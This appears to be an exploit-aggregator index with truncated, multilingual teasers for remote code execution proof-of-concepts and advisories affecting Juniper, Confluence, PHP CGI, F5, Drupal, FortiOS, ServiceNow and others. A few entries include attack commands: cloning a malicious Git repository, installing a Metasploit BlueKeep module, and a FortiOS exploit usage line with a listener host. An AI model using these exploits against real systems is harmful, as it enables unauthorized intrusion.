CVE-2023-36844_Juniper_RCE

CVE-2023-36844JuniperRCE Una Proof of Concept per concatenare le CVE CVE-2023-36844, CVE-2023-36845, CVE-2023-36846, CVE-2023-36847 al fine di ottenere l'esecuzione remota di codice phpinfo in Juniper JunOS all'interno dei prodotti delle serie SRX ed EX.Modificato dall'exploit originale sviluppat...

TryHackMe-Atlassian-CVE-2022-26134

TryHackMe | Atlassian, CVE-2022-26134 TryHackMe Atlassian CVE-2022-26134 Atlassian, CVE-2022-26134 Un laboratorio interattivo che mostra la vulnerabilità RCE non autenticata di Confluence Server e Data Center. Attività 1 Introduzione Confluence | Your Remote-Friendly Team Workspace | Atlassian NV...

CVE-2024-4577

CVE-2024-4577 - Injeção de Argumentos em PHP CGI - RCE Resumo CVE-2024-4577 é uma vulnerabilidade crítica de injeção de argumentos no PHP CGI que afeta sistemas Windows que executam PHP em modo CGI. Essa falha permite que atacantes remotos injetem argumentos na linha de comando do PHP por meio de...

CVE-2024-25600

Exploit RCE per Bricks Builder CVE-2024-25600 Questo progetto contiene uno script di exploit basato su Python che mira alla vulnerabilità di esecuzione remota di codice RCE del plugin WordPress Bricks Builder, identificata come CVE-2024-25600. L'exploit consente l'esecuzione remota non autorizzat...

CVE-2024-1212

CVE-2024-1212 - Unbefugte Befehlseinschleusung in Progress Kemp LoadMaster Dies ist ein Exploit-Skript für CVE-2024-1212 , eine Schwachstelle zur unbefugten Befehlseinschleusung in Progress Kemp LoadMaster. Zusammenfassung der Schwachstelle CVE-2024-1212 betrifft Progress Kemp LoadMaster und...

CVE-2024-10915

CVE-2024-10915 - D-Link NAS कमांड इंजेक्शन एक्सप्लॉइट यह Python-आधारित एक्सप्लॉइट /cgi-bin/accountmgr.cgi?cmd=cgiuseradd एंडपॉइंट के माध्यम से कई D-Link NAS उत्पादों में कमांड इंजेक्शन भेद्यता को लक्षित करता है। यह भेद्यता बिना प्रमाणीकरण वाले हमलावरों को प्रभावित डिवाइस पर मनमाने सिस्टम कमांड...

CVE-2022-1388

CVE-2022-1388 - F5 BIG-IP iControl REST - Bypass de Autenticação RCE Este script Python explora o CVE-2022-1388, uma vulnerabilidade crítica no F5 BIG-IP iControl REST que permite execução remota de comandos não autenticada através de controle de acesso inadequado e manipulação de cabeçalhos HTTP...

CVE-2018-7600

CVE-2018-7600 Exploit Proof of Concept per Drupal CVE-2018-7600 RCE con Pseudo-Shell e supporto proxy...

EUVD-2026-67219

ServiceNow has remediated a code injection vulnerability that was identified in the ServiceNow AI platform. This vulnerability could enable an unauthenticated user, in certain circumstances, to execute arbitrary code in the ServiceNow platform and gain access to, or modify, instance data beyond...

CVE-2026-18885

CVE-2026-18885 is a code injection vulnerability in the ServiceNow AI platform , specifically in its GraphQL Composite Data API , enabling an unauthenticated attacker to execute arbitrary code and access or modify instance data. The CVSS 4.0 base score is 10.0 (Critical) with all impact dimension...

CVE-2026-18885 Unauthenticated Remote Code Execution in GraphQL Composite Data API

ServiceNow has remediated a code injection vulnerability that was identified in the ServiceNow AI platform. This vulnerability could enable an unauthenticated user, in certain circumstances, to execute arbitrary code in the ServiceNow platform and gain access to, or modify, instance data beyond...

CVE-2023-5044

CVE-2023-5044 Iniezione di codice tramite l'annotazione nginx.ingress.kubernetes.io/permanent-redirect Innanzitutto, devi distribuire Pod e Service: root@kitploit: kind: Pod apiVersion: v1 metadata: name: apple-app labels: app: apple spec: containers: - name: apple-app image: hashicorp/http-echo...

CVE-2020-27955

CVE-2020-27955 धन्यवाद https://medium.com/bugbountywriteup/git-lfs-exploit-for-remote-code-execution-cve-2020-27955-e8f4786163c3...

CVE-2018-11235-Git-Submodule-CE

CVE-2018-11235-Git-Submodule-CE CVE-2018-11235-Git PoC Pull da Docker docker pull qweraqq/cve-2018-11235-git-submodule-rce Avvia il server HTTP Git docker run -d -p 8080:80 qweraqq/cve-2018-11235-git-submodule-rce PoC git clone --recurse-submodules http://git.gitserver/malicious.git...

Cobra

Cobra Il design di questo progetto non è più in grado di soddisfare i requisiti attuali di scansione white-box, non è più mantenuto ed è utilizzabile solo a scopo di ricerca: non utilizzarlo in ambienti di produzione. Introduzione Cobra è uno strumento di audit di sicurezza del codice sorgente , ...

CVE-2026-6876 Sandbox Escape in Now Platform

ServiceNow has remediated a sandbox escape security issue that was identified in the Now Platform. This security issue could allow an unauthenticated user to execute arbitrary code within the Now Platform, potentially leading to more access to the Now Platform than intended. ServiceNow deployed a...

EUVD-2026-67218

ServiceNow has remediated a sandbox escape security issue that was identified in the Now Platform. This security issue could allow an unauthenticated user to execute arbitrary code within the Now Platform, potentially leading to more access to the Now Platform than intended. ServiceNow deployed a...

CVE-2026-6876

CVE-2026-6876 is a sandbox escape vulnerability in the ServiceNow Now Platform that allows an unauthenticated user to execute arbitrary code, potentially granting broader access to the platform than intended. The vulnerability is rated CVSS 4.0 8.7 (HIGH) with a network attack vector, low complex...

CVE-2019-0708-EXP-MSF-

CVE-2019-0708-EXP-MSF- CVE-2019-0708-EXPMSF Programma di exploit per la vulnerabilità cve-2019-0708 Richiede una versione di msf 5.0.4 o superiore root@kitploit: mkdir -p /usr/share/metasploit-framework/modules/exploit/windows/rdp/ mkdir -p...

CVE-2023-25610

CVE-2023-25610 Dépassement de mémoire en tas dans l'interface d'administration de FortiOS conduisant à une exécution de code à distance. Portée et limitations 1. Fortinet 6.x 2. Basé sur TLSv1.3, peut différer sur d'autres versions de TLS Utilisation python3 cve-2022-42475.py rhost rport lhost...